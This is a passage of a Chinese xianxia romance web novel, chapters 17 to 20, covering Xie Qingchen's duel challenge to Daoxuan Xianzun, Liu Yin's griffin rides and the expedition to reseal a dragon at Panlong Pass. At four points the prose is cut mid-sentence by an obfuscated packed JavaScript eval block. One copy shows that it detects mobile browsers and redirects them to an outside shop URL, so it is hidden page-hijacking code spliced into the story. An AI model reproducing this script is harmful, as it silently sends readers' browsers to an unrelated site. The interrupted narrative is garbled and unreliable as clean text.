“等我看过他的灵府就知道了。”谢清尘看着放在旁边桌上的药方,轻轻一挥便付之一炬,“他这方子也别吃了,我另外给你配药。” 柳音精神不济,略微吃了点粥水,很快又睡着了。 谢清尘担心她再被梦境魇住,给她施了一道安神咒,稳住她的心神,然后去山下寻郎中,配补气血的药方。连续找好几位互不相识的郎中看过,确认药方没问题,他又亲自去买药材,自己煮药煎药。 一月之期快到了,那个偷树髓之人却始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“道玄仙尊修为高深又德高望重,你可不要贸然行事,得罪了他。”柳音想起霍灵潇说他当众发疯,要看道玄仙尊灵府的事,怕他再跟道玄仙尊打起来,打又打不过,万一受伤破相,脸就不好看了。 “你担心我?”谢清尘看向她,漆黑的眸子微光闪动,隐约露出些笑意。 柳音难得看到他笑,果然美男子笑起来更好看。 “当然了。”她抱着小猫,从树上跳落下地,盯着他看了好几眼,“霍灵潇晚上请我吃全鱼宴,我去探探她的口风,看薛怀安究竟去干什么了。薛怀安总比道玄仙尊好对付,还是先把他查清楚吧。” 谢清尘应允了,叫她路上小心,早去早回。 她身上有他的神识,一般人伤不到她,即便有什么意外,他也能即刻察觉,立时赶到,倒是不用担心。 薛怀安和道玄仙尊,都是云麓仙宗的,看来柳音的事,和他们云麓仙宗脱不开干系。 如今薛怀安已经躲到千里之外,威胁不到柳音,那他便去会一会道玄仙尊,看看这位正道魁首有没有暗藏玄机。 17. 017 道玄仙尊在观星台观测天象,已经有好几日。 四方阵的修造图纸已经基本完善,只差最后方位,需要凭四时天象来定。 夜空巍巍,繁星闪动,谢清尘才刚走上观星台,便听背对着他的道玄仙尊道:“无尘,你来看,那颗贪狼星是不是太亮了?” 谢清尘走上正中高台,举目望夜空,颔首道:“是要比其他星亮一些。” “七杀当空,紫微不显,贪狼星又这么亮,不是吉兆啊……”道玄仙尊摇头叹息,“四方阵不能再等了,我今夜便将方位定下来,让诸仙门赶紧回去,快些把阵法修造起来!” 谢清尘负手站在那里,遥望夜空,淡声道:“天府在野,四海升龙,晚辈倒觉得这是吉兆,仙尊是否太过忧虑了?” “四海升龙,谁知道升的是哪个龙?”道玄仙尊捋着花白的胡须,忧心忡忡,“万一照应在贪狼星身上,让那夤蛇烛婴坐大,只怕会三界覆灭,生灵涂炭。” 漫天星斗闪烁在夜空,如萤火微光,又如沧海横流,仿佛在无形中孕育着一个即将掀天覆地的巨大变数。 谢清尘沉默了一会儿,忽然问:“盘龙关的雪灾,是否与此天象有关?” 道玄仙尊回头看他,半晌,慢慢露出一丝笑:“无尘,你是怪我把怀安派出去?因为你还没能查看他的灵府?” 谢清尘嘴上说着“不敢”,面上却毫无愧色:“只是有些疑惑,贵宗能人辈出,青年才俊颇多,为何只派他一人去救灾。” “非也。”道玄仙尊摇摇头,“并非今年如此,而是年年如此,去盘龙关巡雪救灾,一直都由怀安负责。因为他修为不错,又懂医术,可以去为受伤的黎民看病治伤,有他一人便足够了。” 他捋着胡须,矍亮的目光似笑非笑:“无尘,我与你师父有几百年交情,你也是我从小看着长大的……有些话,我可以和你直说。” “你那小妖怪的树髓不在我这里,你也不必在此周旋,浪费时间。”他直接把话挑明,又提点道,“修行之途难比登天,多少英豪消散于尘烟,不外乎贪嗔痴慢疑,半路折戟沉沙。你可不要耽于美色,迷失了道心。不管是为你师父,还是为你自己,我都希望你能赶回蓬莱仙宗,尽快将东极阵眼建起来!” 观星之颠,夜风浩荡。 谢清尘的墨发和衣袍被风吹得翻卷飞舞,可他的身姿却依旧傲岸挺直,平静的眼神纹丝不动。 “师伯,您是我敬爱的前辈,我自然会听您的话,专心修行,把东极阵眼建起来。”他盯着道玄仙尊的眼睛,沉声道,“但是柳音的树髓是否在您这里,我必须亲眼看过才作数。” “你这爱钻牛角尖的性子,看来是改不了了。”道玄仙尊要被他气笑了,摇摇头,“老夫这木灵根,已经千锤百炼了八百年,而她不过是个小树妖,一条树髓顶三五年修为,老夫何必为这一点蝇头小利去害她?” 目光牢牢盯着他,谢清尘依旧不为所动:“她的树髓的确只能抵三五年修为,但是您应该知道,她之所以能成妖,是因为被夤蛇的血浇灌过。” “她的树髓里浸满夤蛇血,如果只用来增长修为,实在是太浪费了。”狭长的黑眸冷冰冰的,他一字字道,“毕竟一滴夤蛇血,千万灵石都不换……您说对吧?” 道玄仙尊苦笑一声,叹息道:“看来老夫是无法解除你的怀疑了。” 他轻轻颔首,不再掩藏实力,铺天盖地的强大威压缓缓铺展开来,震慑得整座山峰都随之颤动:“既然如此,那就凭本事来吧。你什么时候能打过老夫,自然可以看我的灵府。” 鹤发白眉的道玄仙尊,仙风道骨,深不可测,伫立在山巅之上,渊渟岳峙,气势磅礴。 在这当世第一强者的强大威压面前,任何人都应该知难而退,谢清尘却拔剑出鞘:“师伯,得罪了。” * 柳音抱着小三花猫,去找霍灵潇。 据说她和几个同门去秘境历练,在冰湖中抓到一条两丈多长的宝鲲鱼,滋味极其鲜美,请她一起去吃全鱼宴。 才走到后山峡谷入口,迎面就看到一片金光闪闪,柳音定睛一看,原来是穿得一身镶金嵌玉的花孔雀商进焉,骑着一头狮子身体却长着巨喙鸟头还有一对大翅膀的庞大怪兽。 柳音想起商进焉说的“狮鹫兽”,大概就是眼前这怪物,不由瞪大眼睛仔细打量,看那油光水滑、皮毛金灿灿的大怪物,着实有些威风。 只是怀里的小猫十分惧怕那狮鹫兽,喵喵叫着浑身发抖,不顾刚刚长好的后腿,拼命挣扎着想要逃跑,柳音只好将它收进乾坤袋里。 商进焉也看到她了,一脸神气地坐在狮鹫兽背上,居高临下打量着柳音,嗤笑道:“你来这里干什么?怎么就你自己?谢清尘呢?怎么不在?他不是走到哪里都带着你?” “商少宗主在跟谁说话呢?”柳音看看四周,开始阴阳怪气,“莫非是在问我?” 自从她来到这里,除了霍灵潇,几乎所有人都躲着她,要么对她指指点点,要么不拿正眼看她。毕竟她是个妖怪,在仙界只能当卑贱的炉鼎,在他们这些仙人眼里不过是不入流的东西,何况她还个半死不活的妖鬼。 “这里又没有旁人,不问你问谁?”商进焉从鼻子里哼了声,打量着她,“我问你话呢,你来这里干什么?” “霍灵潇请我吃鱼,我来赴宴。”柳音懒得再理会他,白他一眼,继续向前走去。 商进焉踢踢狮鹫兽的肚子,那巨兽立马听话地向前走,硕大的脚爪走动间扑起乱蓬蓬的雪屑,还有那一对巨大的鸟翅膀,每一扇动便刮起大风。把柳音的头发吹得乱七八糟地糊在脸上,恼得她不停抬手整理头发,一边气呼呼地瞪他一眼。 “嗳,你不问问我来干什么吗?”商进焉却像找到了乐子,越发故意让狮鹫兽走得离柳音更近些,几乎要将她挤到路边,一边昂着下巴得意洋洋,“我也是来赴宴的,是霍灵潇她大师兄请的我。专门给我送去的拜帖,我才同意来的。” 柳音像没听见一样,理都不理,只是加快步伐向前走,赶紧离这傻缺远点。 商进焉却还没显摆够,又催着狮鹫兽抢到前面,趾高气昂道:“你知道我这坐骑是什么吗?这是狮鹫兽,你见过?九州仙门十三宗,总共也就这么一只!是我爹去魑魅森林给我猎来的,驯了好几年!” 柳音还是不理他,连敷衍都懒得敷衍。 商进焉讨了个没趣,却又不甘心,哼声道:“你想不想坐坐狮鹫兽?” “好呀!”柳音立马停下步子,抬头望向他,露出一脸灿烂的微笑。 “……” 商进焉无语地看着她,一时不禁有些后悔,可是话已经说出口,又不好收回来,他只好慢吞吞地从狮鹫兽背上滑下去,再让柳音上去坐。 可是那狮鹫兽太高太大了,柳音又没有灵力,仅凭她自己,根本爬不上去。 “怎么这么笨?”商进焉一边吐槽一边教她,“你踩着脚蹬,用力向上跳!” “左脚用力蹬,右脚用力跳,用点力啊你!” 眼看柳音折腾半天,怎么都爬不上去,商进焉忍不住托着她的腰,用力向上推了一把,这次她总算爬上去了。 “哇!”柳音坐在狮鹫兽背上,视野一下抬高好几丈,身下是一大片厚厚软软的长绒毛,好像身陷在柔软的草丛里,感受到狮鹫兽身上热乎乎的温度,随着巨兽走动起起伏伏,感觉十分新奇。 “太好玩了!你的狮鹫兽太棒了!” “你爹可真好,竟然为你猎来这样珍奇的灵兽,太厉害了!” “难怪霍灵潇她大师兄要专门请你去赴宴,他们一定也想看看你的狮鹫兽吧!” …… 柳音的甜言蜜语毫不吝啬地洒落出来,快要把商进焉捧上天了。 可是商进焉走在一旁,耳朵红红,脑袋嗡嗡,什么都没听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991914|193751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清。 他只记得残留在手上的触感……她的腰好细,好软,她身上好香…… 难怪那些老不正经们私下里会偷偷豢养美艳的妖物,真是勾魂摄魄的妖精…… 柳音骑着狮鹫兽走了一路,一直到后山弟子房,被霍灵潇他们看到了,立马蜂拥着围上来。 “天呐!是狮鹫兽!好威风!” “它的头像鹰,身体却像个大狮子,翅膀比我的房子还大,这世上竟当真有这般灵兽!” “商少主,你的宝贝坐骑不是从不给别人骑吗?今日怎么让那个妖……柳、柳姑娘骑了?” “商进焉,你都给柳姑娘骑了,能不能让我也骑一下?” …… 商进焉依旧耳朵红红,神思不属,站在一旁大方挥手:“骑吧,随便骑,你们谁骑都行。” 只听吱哇乱叫的一片欢呼声,年轻弟子们轮番爬到狮鹫兽背上感受了一番,各个惊奇赞叹不已,纷纷夸赞商进焉是好兄弟,够意思。 “你怎么跟花孔雀一起来了,谢清尘呢?他怎么不来?”霍灵潇骑过狮鹫兽,也很兴奋,看到柳音站在一旁,没人理她,便走过去拉着她去正厅,只见宴客的食桌都已经摆好,空气里浮动着腥鲜的鱼香。 “他还有事要忙,不得闲。”柳音跟她同坐一桌,想起薛怀安,试探着问,“听说你十一师兄去救雪灾了,他什么时候回来?我还有些头疼,想再找他看看。” “你头疼很严重吗?”霍灵潇担心道,“先去找药神谷的医师看看吧,薛怀安至少还要一个多月才能回来,恐怕来不及。” “倒也不严重,没什么大不了的。”柳音笑笑,又问她,“你十一师兄怎么一个人去救灾,他能忙得过来吗?” 霍灵潇剥开一个蜜橘,分她一半,边吃边道:“盘龙关那边年年闹雪灾,每年都会冻死很多人。可是因为那边盛产雪灵芝,那些人为了上山采雪灵芝卖钱,爱财不要命,不肯搬家,也没办法。薛怀安去救灾,也就是去那边采买雪灵芝,顺便给那些冻伤的人治疗一下,其实没什么可忙的,就是雪期长,耗时间。” 柳音哦了一声,还想再问几句,外面却忽然嘈杂起来,有人慌慌张张地大喊:“不好了出事了!盘龙关雪崩地动,妖龙要出关了!” 几乎是一瞬间,所有人都拿起自己的兵器法宝,纷纷向前山问道广场奔去。 柳音正愣神,谢清尘已经闪现到她身边,拉着她往怀中一带,下一瞬便来到问道广场。 “怀安传回急讯,妖龙要出关,情势危急!”道玄仙尊站在广场前方,望向四周渐渐汇聚而来的众人,沉声道,“老夫要勘演天时,测算四方阵方位,一时脱不开身,还望诸位道友相助,赶赴盘龙关镇压妖龙!” 道南长老是云麓仙宗的二把手,也是薛怀安的父亲,灰色道袍面容精瘦,此时已经急得像热锅上的蚂蚁,拱手道:“还请诸位道友相助,随我一同前往盘龙关!” “师父,我也要去救十一师兄!”霍灵潇红着眼圈,心急如焚,和她那些同门师兄弟们叫嚷着都要去救人。 “胡闹!妖龙岂是你们能对付的?”道南长老把他们往身后推,又气又急,“别没救出怀安,再把你们搭进去了!” 太华剑宗的宗主商炎阙虬须美髯,声如洪钟:“长老莫急,怀安是我们看着长大的,如今身陷险境,商某自然不会坐视不理。” 罗浮门和药神谷也有几位前辈站出来,表示愿意一同前往相助。 但是除此之外,再没有人愿意出手。 毕竟那盘龙关是云麓仙宗辖下的地盘,与其他宗门无关,要对付一条妖龙,指不定会有多少伤亡,任谁都不愿平白去送死。 道南长老目光热切地望向谢清尘,显然希望他能出手相助,可是面上却又犹豫着,不知是什么原因,不好意思开口。 谢清尘捏一下柳音的手心:“走吧,我们也去凑个热闹。” 18. 018 为了尽快赶到盘龙关,云麓仙宗出动一艘最大的仙舟,载着一行人连夜疾驰。 道南长老碍不住霍灵潇连哭带嚎的央求,最终只好带上她和几个修为高的弟子上路。 太华剑宗的商炎阙带着他儿子商进焉,还有那头威风凛凛的狮鹫兽。 博古通今、擅长音律的罗浮门长老谷长裕带着他的几名弟子,药神谷谷主温灵素也带着几名医师,另外还有谢清尘和柳音。 翌日傍晚,仙舟抵达盘龙关,站在云海端头向下俯瞰,能看到起伏的山峦像一条盘绕的巨龙,山峰覆盖着厚厚的积雪,但是有好几处雪崩断崖,露出刀削斧凿一般的切面,在纷纷扬扬的大雪中凌然突兀地耸立着。 道南长老根据薛怀安所说的方位,操纵仙舟降落到蜿蜒的峡谷之中。峡谷里面越走越窄,仙舟进不去,只能暂且收起来,众人举步涉雪进山。 头顶上蔓延的树枝接连成片,上面覆盖着厚厚的积雪,从上方什么都看不到。直至从树下穿行,才能看到下方的积雪竟然已经融化,温热的溪水淙淙地流淌着,甚至还有蒸腾的热气冒出来。 “这里有温泉吗,怎么会这么热?”霍灵潇心急地走在前面,一脸诧异。 道南长老叫她小心看路,连声叮嘱:“地动开裂,有地热涌出来,融化了积雪。走路试探着点,有些雪下面是深入地底的裂缝,掉进去很危险!” 霍灵潇不敢再冒失地往前冲,小心翼翼跟在她师父身后,踩着他的脚印前行。 谢清尘和柳音走在队伍最后面,前面是那头威风凛凛的狮鹫兽,商进焉正坐在巨兽背上,听他父亲商炎阙讲这盘龙关的来历。 大约一千年前,有一条蛟蛇流落到此地,拜此地的山神雪山神女为师,潜心修炼三百多年,终于成功化龙。可是就在他化龙飞升那天,他的师父雪山神女被杀,蛟龙因恨生了魔心,血洗方圆八百里,杀人无数,残酷至极。 这事惊动了云麓仙宗的祖师爷淮生子,他与那蛟龙大战了十年,终于战败蛟龙,将其封印在这九曲十八弯的山岭地下。此后近千年太平无事,很多人都只知道这里叫盘龙关,不知道这山底下真的盘着一条龙。 商进焉听得唏嘘不已,问他爹:“那雪山神女是被谁杀的?” “那就不知道了,一千年前的事,谁能说的清楚。”商炎阙从自己的乾坤袋里取出一个蜜橘,剥开皮递给他,“饿了吧?” 商进焉回头扫了一眼跟在后面的柳音和谢清尘,连忙推开他爹的手:“不要,我不饿。” “从昨晚就没吃东西,怎么会不饿?”商炎阙身形高大壮硕,说起话来也中气十足、声如洪钟,在乾坤袋里翻了半天,又道,“不想吃橘子,那你吃块桂花糕吧,你娘临出门前专门给你做的。” 商进焉的耳朵渐渐红了,连忙又把他爹推开,闷声道:“说了不饿,我什么都不吃!” 抬起大手摸摸他的额头,商炎阙诧异道:“怎么不想吃东西?身体不舒服?” “没有没有!”商进焉不耐烦地躲开他爹的手,转身从狮鹫兽背上跳落到另一边,让巨大的兽身把他和他爹隔开。 可是商炎阙一个瞬移便又来到他这边,关切地问:“怎么不坐了?地上泥泞不好走,小心别滑倒。” 商进焉像个生闷气的小鸡崽,闷头快步向前走去,不理会他爹。 看出儿子不高兴了,商炎阙便不再烦他,又叮嘱一句“你小心走路”,然后便回到原先那一边去了。 商进焉总算得了清净,身体也不再那么僵硬,随着队伍缓缓向前走着,时不时回头扫一眼柳音,瞥到她那烟水绿的裙摆上沾满星星点点的泥水,立马又收回目光。 “累不累?”谢清尘扶着柳音,打量她的神色,“要不要我背你?” 柳音自然是累的,她有些晕船,在仙舟上一夜没睡,现在困得快要睁不开眼了。 她点点头,正要趴到谢清尘背上,商进焉却忽然冲过来:“柳音,你想不想骑狮鹫兽?我让你骑一会儿!” 柳音立马来了精神,骑在狮鹫兽身上可比让谢清尘背着舒服多了,那兽身的绒毛又长又软,还很暖和,好像铺了一张厚实柔软的长毛毯。 她满眼期待地看向商进焉:“真的吗?” 商进焉昂着下巴,一脸若不在意道:“我说了让你骑,那还有假?” “商少主,那就多谢了。”谢清尘淡淡扫他一眼,然后便将柳音裙摆上的泥水清理干净,扶着她爬上狮鹫兽背上坐好。 金尊玉贵的小公子,瞥到谢清尘扶在柳音腰间的手,嘴角不由自主地撇下去,转身折下一段干枯的树枝,边走边抽打着路边的荒草,也不知道怎么又恼了他,生起闷气来。 柳音坐在狮鹫兽背上,美滋滋地抚摸着松软柔滑的绒毛,冷不丁目光对上商炎阙,好在这位剑尊大人并没有为难她,也没有赶她下去,只是移开目光,装作没看见她。 柳音便放心地往绒毛堆里一趴,很快便睡着了。 一路跋山涉水,从黄昏走到黑夜,峡谷渐到深处,四周的温度陡然灼热起来,连睡得人事不省的柳音都被热起来,揉搓着惺忪的睡眼,待看清眼前景象,不由呆立当场。 只见前方是一处断崖,崖顶覆盖着壁立千仞的积雪,崖底却滚动着熊熊燃烧的岩浆,巨大的网纹结界笼罩住整个峡谷,在那断崖上白雪与烈火交融的中心,有一个龙头状的突起正在猛烈撞击外面的结界。似乎就是那镇压的蛟龙正在企图冲破封印,逃出生天。 “怀安!你撑住!”道南长老惊呼一声,立马飞身上前相助。 看到他奔赴的方向,众人这才看清,就在那断崖之上,薛怀安矗立于风雪之中,双手结印紧紧拉住那一张巨大的网状结界,死死咬紧牙根,抵抗那蛟龙一次又一次冲击。 只见那狰狞的龙头一次更比一次突出,一次更比一次清晰,那冲撞的力道堪比地动山摇般猛烈,只是悉数被那结界镇压。 薛怀安不知道已经坚持了多久,他的头上身上都覆盖着积雪,连眉梢眼角都结起冰霜,那覆盖整个峡谷的结界竟仅凭他一人之力坚持了这么久,在场众人莫不震惊。 没想到这素日不显山不露水的薛怀安实力竟如此强悍,修为至少已经达到真境第七重,着实令人意外。 只是眼下情势危急,一旦结界破碎,蛟龙出关,放出这般妖物,只怕就要大祸临头了! 众人再顾不上多想,连忙冲上去帮忙,催动灵力加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看他俩这小儿女情态,众人还有什么不明白的,纷纷笑着避开视线,向道南长老打趣,说他们云麓仙宗怕是好事将近了。 道南长老似乎早已默许,笑呵呵地说着客套话,然后将仙舟放出来,让大家上船休息。 由于封印蛟龙的结界刚刚修补完成,还需要将整座盘龙关再仔细检查一遍,搜寻那些薄弱的角落,继续加固结界,少不得还要停留三五日。 幸好他们有仙舟,而且这仙舟足够大,可以作为临时的住处,倒是正合适。 谢清尘不放心让柳音自己住一间房,二人合住,便占据了仙舟上最大的套间——外面一间茶室,里面一间卧房,布置简单雅致,而且干净整洁。 柳音想起乾坤袋里的小三花猫,怕是要饿坏了,连忙将小猫放出来喂食。 一人一猫正玩得高兴的时候,外面响起敲门声。 谢清尘去开门,只见来人竟然是薛怀安。 “多谢剑尊出手相助,怀安不胜感激。”薛怀安行礼道谢,然后直起身,目光坦荡,“剑尊心忧柳姑娘,想要查清树髓的下落。怀安自认行迹磊落,没什么可掩藏的,所以愿意让剑尊看我的灵府。” 19. 019 谢清尘看过薛怀安的灵府,便让他回去了。 待他走后,柳音迫不及待地问:“怎么样,是他吗?” “你的树髓不在他身上。”谢清尘缓缓摇头,蹙起眉,“但是……他有三年记忆是模糊的,看不清晰。我问他怎么回事,他说那时候生病了,记忆有损伤。” “三年?”柳音想起黎娘说的话,她和薛怀安从认识到其突然失踪,时间也是三年,难道…… 她的心跳突突的:“具体是哪三年?” “仙历一七二三年,到一七二六年。” 柳音听得一脸茫然:“换算到人间,是哪年?” 谢清尘思索一番,肯定道:“就是苏夜黎和薛怀安从成亲到他失踪那三年,人间历光隆二十年到二十三年。” 一时不由倒吸一口凉气,怎么就会这么巧合? 加上耳后的红痣和精通医术,再加上名字也一样,这么多的巧合凑在一起,柳音很难不怀疑,此“薛怀安”应该就是彼“薛怀安”,他应该就是黎娘等了七十多年的那个人。 似乎猜到她的所思所想,谢清尘又道:“但是他的记忆是完整的,从幼时至今,都在仙门。包括那记忆模糊的三年,虽然看不清晰,但绝对不是人间乡镇。” 这话一出,柳音又迷茫了。 照这么说,云麓仙宗的这个薛怀安绝对不可能是黎娘要找的那个薛怀安。 可是那么多的巧合又是怎么回事? “想不通就别想了,来日方长,慢慢看。”谢清尘宽慰道,“不管怎么说,这个薛怀安有问题,我会留意他。” 柳音点点头,总觉得那两个薛怀安应该就是同一个人,只是其中还藏着秘密,而她这个外人猜不透其中关窍。 不知道黎娘在地底下怎么样了,有没有逃脱那些鬼差捕杀? 她是黄泉道上最厉害的厉鬼,还有斩恶帮忙,应该没事吧? 希望她能快些查清楚薛怀安的事,别让黎娘等太久。 漫无边际地想了一通,柳音忍不住打了个哈欠。 连日在外漂泊劳顿,她没能好好休息,整个人都没有精神。 谢清尘便让她去里面卧房睡觉,自己在外面茶室守夜。 夜晚的峡谷静悄悄的,偶尔有风刮过,带起冷冰冰的雪粒子扑打在窗棂上,四周凉意渐生。 柳音躺在冰凉凉的被窝里,一时间又睡不着了。 她缺个美男子暖被窝,要是谢清尘能陪她一起睡就好了。 隔着一道门板,能听到外面有轻微的书页翻动声,想必谢清尘又在看那些晦涩难懂的剑谱秘笈。但凡有一点空余时间,他都在潜心修炼,从不懈怠。 所以那些夸他是天才的人,大概只看到他的成就,却没看到他背后的勤奋和努力,任何成功都不是一蹴而就的。 柳音默默叹息一声,也不知道还能不能吃到美男子。 她还没来得及问他一脚踏两船的事呢! 看谢清尘现在这表现,除了修炼就是忙各种事,根本没有亲近她的心思。 难道他当真要与沐玥瑶结契成亲,将纯阳之身留给沐玥瑶当补品? 若真如此,那她就不跟着他了。 她对有妇之夫没兴趣。 柳音胡思乱想一通,睡得浑浑噩噩的,夜里好像做了很多很多梦,可是醒来却什么都不记得。 明明她以前做梦,醒来都能记得梦境内容,勉强找回一点以前的记忆,可是现在怎么梦境里发生的事都记不起来了? 抬手揉着发疼的额角,柳音走出卧房,看到外面茶室没人,桌上摆着早饭,还有一张字条。 谢清尘说他和道南长老他们去外面加固结界,让柳音和霍灵潇他们这些小辈留在仙舟上,不要乱跑。 柳音吃了早饭,抱着小三花猫去找霍灵潇玩,可是霍灵潇正在忙着给薛怀安缝制护身法衣,拆了缝,缝了又拆,每一处针脚都追求完美无瑕,根本顾不上跟她聊天。 柳音感觉十分无趣,便又抱着小猫走了。 白日间的峡谷,纷纷扬扬的细雪依旧不停,玉树琼枝,千山万壑,放眼望去一片雪白。 柳音找了个避风的墙根坐下,一边看小猫跑来跑去,在堆满积雪的甲板上踩梅花,一边抓起雪团,捏成一个个圆圆的猫猫头,摆成一排。 “喂,商进焉,你别走啊!”旁边舱室中跑出来几名药神谷弟子,闹哄哄地跟着商进焉,叽叽喳喳道,“你能不能把狮鹫兽放出来,给我们看看?” “听说你让云麓仙宗那些弟子们每个人都骑了一圈,能不能让我们也骑一下?” “商少主最大方了,让我们也骑骑狮鹫兽,好不好?” …… “下次吧,今天不行。”商进焉不耐烦道,“狮鹫兽累了,已经睡了。” 药神谷弟子们满脸失望,却又不甘心:“那我们不骑,你把它放出来,给我们看看行吗?我只轻轻摸一下它的毛。” 转身看到坐在角落里的柳音,商进焉怔了一瞬,很快收起不耐烦的神色,大声道:“你们想骑狮鹫兽,可以,但是要等明天。那个大家伙若是睡觉被吵醒,恐怕会吃人,那我可控制不住。” “那……那好吧,明天一定要给我们骑啊,说话要算数!” 药神谷弟子们悻悻地走了,宽阔的甲板上总算安静下来。 商进焉两手撑在护栏边上站了一会儿,又抬臂转腕抻了个懒腰,目光时不时瞥向柳音那边。可是柳音正在专心致志地捏那一堆大大小小的雪团,根本不曾抬头看过他一眼。 感觉有些没趣,他拍拍落在身上的雪花,缓缓走到柳音面前,居高临下地问:“你在干什么?” 柳音头也不抬,漫不经心道:“玩雪。” 商进焉:“……” 眼看柳音闷头玩雪,连句话都懒得说,商进焉轻咳一声,看着在旁边跑来跑去的小三花猫,没话找话道:“你这小猫是什么品种?” 柳音:“不知道。” “……”商进焉抹了抹鼻尖上不曾落下过的雪,“不过你这小猫还挺好看。” 柳音:“你不是说小猫没什么好看的吗。” “你还记得我说的话?” 商进焉眼睛一亮,蹲下身,去看她摆的那一堆雪团。只见每一个都是差不多的猫头形状,前后摆了三排。 “你这捏的是猫?”他拿起一只雪团,看着歪鼻斜眼的小猫,要多丑有多丑,一时忍不住笑出声来,“笨死了!” 柳音终于抬起眼看他,那凶巴巴的眼神,再加上她手中用力攥紧的雪团,像是气得想捏碎他的脑袋。 商进焉被她瞪得嘴角忍不住上扬,好不容易才强压下去,一脸嘚瑟道:“让本少主给你展示一下,什么才叫雪雕。” 柳音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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商进焉捏捏鼻子:“它现在睡醒了,保证不吃人,你去吗?” “不去。”柳音摇头,“谢清尘不让我离开仙舟,外面不安全。” 刚刚还一脸神采的小公子,脸色忽然就臭起来,闷声道:“他又不是你爹,你怎么那么听他的话?” 柳音耸耸肩,拿起那两只雪雕,示意道:“谢谢你,我先走了。” 回到房间里,柳音把雪雕摆在茶室的窗台上,抱着小三花猫又玩了一会儿。 眼看天色就要黑了,谢清尘却还未回来。 从乾坤袋里找了些吃食填饱肚子,柳音又看了会儿自己带的话本子,最后把书往脸上一盖,无聊地睡着了。 谢清尘回来的时候,已经到了后半夜,进门的响动声惊醒了她,走过去轻抚她的脸:“怎么在这儿睡了,不冷吗?” “冷……”柳音迷迷糊糊地闭着眼,伸手搂住他的腰,埋头往他怀里钻。只是他身上一股冰雪气息,冻得她浑身冰凉,便又松开手缩回去。 谢清尘放出些热力,又把她拉回怀中抱住,目光落到摆在窗台上的两只雪雕,狭长的眸子微微眯起:“这是你做的?” 柳音瞅了一眼,打着哈欠道:“商进焉做的,他说化不了,我就摆进来了。” “太晚了,继续睡吧。”谢清尘抱着她走进卧房。 柳音睡意朦胧道:“你明天还要忙吗……这里太无聊了。” “明天就忙完了。”谢清尘给她盖好被子,温声道,“带你回蓬莱。” 听着柳音发出匀净的呼吸声,显然已经睡熟了,谢清尘走出去,关好门,然后目光一抬。 窗台上那两只雪做的小猫和狮鹫兽,跌落到窗外面,摔成一地雪屑。 20. 020 翌日醒来,天光已经到了正午,外面难得没有下雪。 柳音简单洗漱一下,换上一身薄荷绿色的厚裙子,走到外面去吃早午饭。 谢清尘又去忙了,她毫不意外地吃着他留好的饭菜,目光落到窗台上,发现那雪做的小猫和狮鹫兽没有了。 她看来看去,四下找了一圈,还是没找到。 难道是化了? 不是不会化的吗? 她又走到窗台边打量,并没看到任何水渍,推开窗扇看外面,依旧毫无踪影。 大概是商进焉的法术不怎么样吧,根本保存不了多久。 “柳音,出来玩呀!”霍灵潇从窗户外面看到她,站在甲板上朝她招手,“快来骑狮鹫兽!” 柳音将窗扇全部推开,探头向外面打量,只见甲板上人很多,大都是各个宗门的弟子,围着商进焉和那头庞大的狮鹫兽站成一排,霍灵潇就在那一排队伍的最前面。 “你踩着脚蹬向上爬,轻一点,不要把它抓疼了。”商进焉指挥着霍灵潇爬到狮鹫兽背上坐好,“准备好了?起飞!” 随着他一声令下,鹰头狮身的狮鹫兽刨着蹄子喷着响鼻,扑扇着展开巨大的翅膀,猛地一下腾空而起,载着霍灵潇冲上仙舟上方的高空,围着峡谷飞了一圈。 霍灵潇惊恐又兴奋地尖叫着,后来又变成开心至极的欢笑声,一路洒满整个峡谷,直至那狮鹫兽载着她重新飞回来,安安稳稳地降落回原处。 “太好玩了!我还想再骑一圈!”霍灵潇恋恋不舍地坐在狮鹫兽背上,央求道,“商少主,再让我飞一次吧!” “那不行,还有这么多人等着。”商进焉铁面无私道,“我答应让大家都飞一次,还有谁想飞,过来排队。” 霍灵潇没办法,只好从狮鹫兽背上滑下来,第二个罗浮门弟子立马迫不及待地爬上去,等待起飞。 柳音看得惊奇,走到外面打量,霍灵潇立马冲过来拉住她:“你怎么才来?太好玩了!你快去试试!” “那……那我去排队。”柳音走到队伍后面站好,看着那庞大的狮鹫兽载着人在空中极速飞行,确实很好玩的样子,忍不住跃跃欲试。 只是看到她也来了,前面的队伍不禁有些骚动。毕竟她是妖又是鬼,那些弟子们都有些怕她,但是又顾忌着面子,不好意思当众逃跑。 站在柳音前面那个男弟子是药神谷的一名小学徒,目光频频向她打量,看她脚下没有影子,终于忍不住开口:“柳姑娘,听说你是一只柳树妖,还是鬼……是真的吗?” 柳音眨了眨眼:“是真的,怎么,怕我吃了你?” 小学徒被她的美色晃花了眼,说话都结巴起来:“我、我头一次见妖怪,也是头一次见鬼,原来不、不是那么吓人。” 柳音觉得他傻兮兮的,笑着提醒道:“我是好妖怪好鬼,但也有坏妖怪坏鬼,见了坏的,你可要赶紧跑。” 小学徒用力点点头,不好意思地笑了。 